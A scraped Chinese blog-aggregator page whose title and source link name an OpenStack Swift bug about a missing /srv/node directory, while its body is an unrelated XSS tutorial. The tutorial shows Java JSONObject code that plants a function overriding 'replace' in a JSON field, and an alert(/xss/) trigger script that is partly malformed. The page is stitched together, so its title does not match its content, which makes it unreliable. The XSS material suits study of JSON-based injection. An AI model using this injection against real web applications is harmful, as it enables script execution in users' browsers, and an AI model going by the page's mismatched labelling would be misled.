首页 > 其他 > 详细

每天进步一点点——/srv/node不存在导致object-updater和container-updater崩溃(Swift Bug)

时间:2014-04-17 06:06:23      阅读:617      评论:0      收藏:0      [点我收藏+]
大家都清楚json 类似于字典的样子吧,这里就不再赘述了,XSS直接上代码:

json = new JSONObject();
json.put("code", 200);
json.put("info", "{‘replace‘:function(){alert(/xss/);}}");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":{"replace":function(){ alert(/xss/); }},"msg":"success"}

JSONObject 在输出json串的时候,info会作为对象输出,并且其中嵌入replace方法,js再调用replace
方法转义过滤时,也就调用的嵌入的replace方法。(这里是根据程序员的常规习惯,让他自动到用户触发,但是如果客户端代码没有调用对应的函数就不会被触发,所以这里要首先纵观原有
js代码的,构造可以被触发的函数也是要注意的)

具体的触发过程如下:

<script tpye=‘text/javascript‘>
json= JSONObject.json_list(‘info‘)[‘replace‘] // 这段是客户端代码会调用到的,所以就会抛出这个函数了

function()
{
	alert(/xss/);
}
</script>

根据不同的场合这个info可以构造成不同对象,也可以构造数组{function(){alert(/xss/)}},或者是简单的
函数function(){alert(/xss/)},

值得注意的是这种方法在jQuery中行不通,jQuery会对json串的格式做检查,如果是一般的ajax和jsonp都可能会存在这种xss问题。最后说句,搞XSS,很多的小X都是需要极其猥琐的思路一点点挖掘了。

每天进步一点点——/srv/node不存在导致object-updater和container-updater崩溃(Swift Bug),布布扣,bubuko.com

每天进步一点点——/srv/node不存在导致object-updater和container-updater崩溃(Swift Bug)

原文:http://blog.csdn.net/cywosp/article/details/23850893

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!